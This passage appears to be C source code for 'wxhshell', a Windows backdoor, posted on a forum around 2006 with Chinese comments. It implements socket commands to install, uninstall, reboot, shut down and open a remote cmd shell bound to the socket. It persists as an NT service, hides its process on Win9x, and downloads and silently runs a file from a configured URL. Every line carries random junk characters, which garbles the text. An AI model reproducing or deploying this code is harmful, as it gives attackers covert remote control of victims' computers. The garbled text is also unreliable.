    switch(cmd[0]) { U,2OofLM  
  St?mq* ,  
  // 帮助 D:9^^uVp  
  case '?': { #<Y.+ :  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q%O9DCi  
    break; SL uQv?R}9  
  } .Vt|;P}  
  // 安装 K21Xx`XK  
  case 'i': { 1le9YL1_g  
    if(Install()) ZTTA??}Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-t%spkl  
    else eSoX|2g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _j+,'\B  
    break; *{?2M6Z  
    } N d>zq  
  // 卸载 4AhF E@  
  case 'r': { aKMX-?%t4  
    if(Uninstall()) `G":y[Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \zJ^XpC  
    else ^:?z7m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .U(6])%;@  
    break; iY>x x~V  
    } #4|RaI|.  
  // 显示 wxhshell 所在路径 {W?!tD43"  
  case 'p': { f #h0O3  
    char svExeFile[MAX_PATH]; &K]|{1+  
    strcpy(svExeFile,"\n\r"); pJg:afCg  
      strcat(svExeFile,ExeFile); 0 iSNom}m  
        send(wsh,svExeFile,strlen(svExeFile),0); ub 2'|CYw  
    break; [%>*P~6nK  
    } q"Bd-?9  
  // 重启 @d Qr^'h  
  case 'b': { Yy 4Was#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (NUXK  
    if(Boot(REBOOT)) 7h9oY<W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2-x1Sw_  
    else { 6iQqOAG  
    closesocket(wsh); Yaq0mef0  
    ExitThread(0); 4oF,;o+v\4  
    } 5%S5*c6BD  
    break; (a!E3y5,  
    } e~QLzZ3  
  // 关机 j 1'H|4  
  case 'd': { NHZMH!=4:n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); crd|r."  
    if(Boot(SHUTDOWN)) yYOV:3!"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &/EZn xl  
    else { Uj 3{c  
    closesocket(wsh); F4(;O7j9  
    ExitThread(0); &[\zs&[@y  
    } &>B|?d  
    break; iP7KM*ks  
    } _)-2h[  
  // 获取shell Q m9b:U~  
  case 's': { pnz@;+f  
    CmdShell(wsh); #O^zA`D   
    closesocket(wsh); .f!'> _  
    ExitThread(0); MS SHMR  
    break; JF &$'  
  } RW>F %P  
  // 退出 m$Tt y[0  
  case 'x': { /XRgsF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^umHuAAE  
    CloseIt(wsh); Ahd{f!  
    break; M]\"]H?  
    } ,[m4+6G5  
  // 离开 *=z.H  *  
  case 'q': { |q o3 E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hQSJt[8My  
    closesocket(wsh); 5}N O~Xd<  
    WSACleanup(); Cyv_(Oh?dv  
    exit(1); 7; }TNK\+v  
    break; YVY(uq)d  
        } !oV'  
  } LY0/\Z"N  
  } etW-gbr  
/C<} :R  
  // 提示信息 `).;W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cNN_KA  
} x^F2Ywp%  
  } Q[O U`   
RDG,f/L2  
  return; A&'HlI% J  
} A[d'*n[  
N~arxe (K  
// shell模块句柄 r52,f%nlm  
int CmdShell(SOCKET sock) uP ?gGo  
{ [/t/694  
STARTUPINFO si; !as<UH"\  
ZeroMemory(&si,sizeof(si)); sEfGf.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gk6j5 $Y"<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^?[^o\/@R  
PROCESS_INFORMATION ProcessInfo; EZiGi[t7  
char cmdline[]="cmd"; .yj=*N.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4sK|l|W  
  return 0; +ACV,GG  
} p|%Y\!  
>Q\H1|?  
// 自身启动模式 ELNA-ZKp  
int StartFromService(void)  WU,72g=  
{ $t </{]iX  
typedef struct qXW2a'~  
{ B 9]sSx  
  DWORD ExitStatus; !r!Mq~X<=  
  DWORD PebBaseAddress; 7!N5uR  
  DWORD AffinityMask; CM's6qhQnn  
  DWORD BasePriority; g9"_BG  
  ULONG UniqueProcessId; 1y8:tri>N  
  ULONG InheritedFromUniqueProcessId; tT#Q`cB  
}   PROCESS_BASIC_INFORMATION; \ZDT=?  
yM D* >8/  
PROCNTQSIP NtQueryInformationProcess; lB\j>.c  
?y45#Tk]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LveqG   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +Vf|YLbhJ  
:U[_V4? 7  
  HANDLE             hProcess; E 0pF; P5  
  PROCESS_BASIC_INFORMATION pbi; ;%z0iZmg  
0Rk'sEX,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 01q7n`o#zf  
  if(NULL == hInst ) return 0; 'Jl.fN  
s3kEux^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gZ!(&u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gS|xicq!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;qk~>  
FW.dHvNX  
  if (!NtQueryInformationProcess) return 0; Oc'z?6axWv  
SCH![Amq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o%9>elOju  
  if(!hProcess) return 0; a&ByV!%%+_  
x)yf!Dv5$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |f}NO~CA  
&lS0"`J=  
  CloseHandle(hProcess); tx1jBh:e=  
z|?R=;,u`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Po4cbFZ  
if(hProcess==NULL) return 0; |8`;55G  
TgB;R5  
HMODULE hMod; PrKl whi#  
char procName[255]; /#se>4]  
unsigned long cbNeeded; /[IQ:':^  
l{a&Zy)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \mu9ikZ<  
,] {NZ9  
  CloseHandle(hProcess); pz IMj_  
yl 8v&e{  
if(strstr(procName,"services")) return 1; // 以服务启动 4F4u1r+  
Y#Vy:x[  
  return 0; // 注册表启动 G\p; bUF  
} CzEn_ZMb  
Mqtp}<*@-  
// 主模块 +r!h*4  
int StartWxhshell(LPSTR lpCmdLine) ?W|IC8~d')  
{ MHYf8HN  
  SOCKET wsl; 2,;t%GB  
BOOL val=TRUE; !Cy2>6v7  
  int port=0; *pD;AU  
  struct sockaddr_in door; `^ _:  
@Kr)$F  
  if(wscfg.ws_autoins) Install(); D)sEAfvX  
G!;[If :<e  
port=atoi(lpCmdLine); u .=;A#  
J| '(;Ay4u  
if(port<=0) port=wscfg.ws_port; yrs3`/  
U[D<%7f  
  WSADATA data; ZtLn*M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?.4l1X6Ba  
ibc/x v2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xh/av[Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,6S 8s  
  door.sin_family = AF_INET; Fb' wC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u" g p">  
  door.sin_port = htons(port); dR+$7N$  
MX0B$yc$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r*wKYb  
closesocket(wsl); F]*-i 55S  
return 1; 7&)F;;H  
} k9xKaJ %1  
cj<@~[uw  
  if(listen(wsl,2) == INVALID_SOCKET) { gAY2|/,  
closesocket(wsl); KxwLKaImI  
return 1; n_Y]iAoc`  
} (Qm;]?/  
  Wxhshell(wsl); UG_0Y8$  
  WSACleanup(); k>CtWV5B  
\(FDR  
return 0; _64@zdL+  
-JENY|6  
} @ 1A_eF  
#+PbcL  
// 以NT服务方式启动 o {LFXNcg[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,GnU]f  
{ z0[ZO1Fo(  
DWORD   status = 0; >2 qP  
  DWORD   specificError = 0xfffffff; RWo B7{G  
B-|Zo_7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UYOn p7R<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  vB*oI~<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8!6*|!,:?n  
  serviceStatus.dwWin32ExitCode     = 0; hob$eWgr  
  serviceStatus.dwServiceSpecificExitCode = 0; n5/Tn7hY  
  serviceStatus.dwCheckPoint       = 0; ?|GxVOl  
  serviceStatus.dwWaitHint       = 0; Dg+d=I?  
 Zwns|23n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r![JPhei  
  if (hServiceStatusHandle==0) return; n^02@Aw  
- (}1o9e\7  
status = GetLastError(); tlgvBRH>  
  if (status!=NO_ERROR) "'B%.a#k  
{ +yH~G9u(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c.Z4f 7  
    serviceStatus.dwCheckPoint       = 0; o~&!M_ED  
    serviceStatus.dwWaitHint       = 0; xN8JrZE&  
    serviceStatus.dwWin32ExitCode     = status; 9 /(c cj  
    serviceStatus.dwServiceSpecificExitCode = specificError; D#1~]d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1T,PC?vr{  
    return; by[i"!RCu  
  } i%4k5[f.:  
-z$2pXT ^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HbfB[%  
  serviceStatus.dwCheckPoint       = 0; a BH1J]_  
  serviceStatus.dwWaitHint       = 0; S{T d/1}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mS}x2 &  
} `j}d=zZ  
b|o!&9Yyr  
// 处理NT服务事件,比如:启动、停止 TeCpT2!5j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .<^Y E%  
{ /'fDXSdP  
switch(fdwControl) {WeXURp&nF  
{ `lezJ (Xm  
case SERVICE_CONTROL_STOP: }k0-?_Z=1  
  serviceStatus.dwWin32ExitCode = 0; $uK"@Mw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; */y]!<\v!k  
  serviceStatus.dwCheckPoint   = 0; fbTw6Fde$  
  serviceStatus.dwWaitHint     = 0; dHF$T33It  
  { jZT :-w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &MZy;Sq  
  } lN>C#e<]  
  return; `Uj?PcS_  
case SERVICE_CONTROL_PAUSE: ##FNq#F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Iyot]E  
  break; DbU;jorwu  
case SERVICE_CONTROL_CONTINUE: [RPAkp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UW[{d/.wC  
  break; EQ63VF  
case SERVICE_CONTROL_INTERROGATE: Jhy t)@7/,  
  break; 6.h   
}; 7Ljj#!`lUp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EvqAi/(g  
} )QCM2  
&_/%2qs  
// 标准应用程序主函数 "=\_++  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6mpg&'>  
{ oXlxPN39  
_ c ]3nzIr  
// 获取操作系统版本 fCf#zV[  
OsIsNt=GetOsVer(); K}E7|gdG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h<' 5q&y  
Oqpl2Y"/  
  // 从命令行安装 -jtC>_/  
  if(strpbrk(lpCmdLine,"iI")) Install(); u@_!mjXQ  
t_>bTcsU  
  // 下载执行文件 dEd]U49u  
if(wscfg.ws_downexe) { t)gi.Ed1"L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yC 7Vb P  
  WinExec(wscfg.ws_filenam,SW_HIDE); QK!:q{  
} 3 E!<p  
"R2t&X[9  
if(!OsIsNt) { DxKfWb5 R  
// 如果时win9x,隐藏进程并且设置为注册表启动 w-H%B`/  
HideProc(); V l~Y  
StartWxhshell(lpCmdLine); C7 ]DJn  
} d9-mWz(V+  
else '*N9"C  
  if(StartFromService()) k/_8!^:'  
  // 以服务方式启动 |[owNV>  
  StartServiceCtrlDispatcher(DispatchTable); 7XVzd]jH  
else ocl47)  
  // 普通方式启动 yI.}3y{^5  
  StartWxhshell(lpCmdLine); {#1j"  
2'<=H76  
return 0; De nt?  
}
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只看该作者 1 发表于: 2006-10-10
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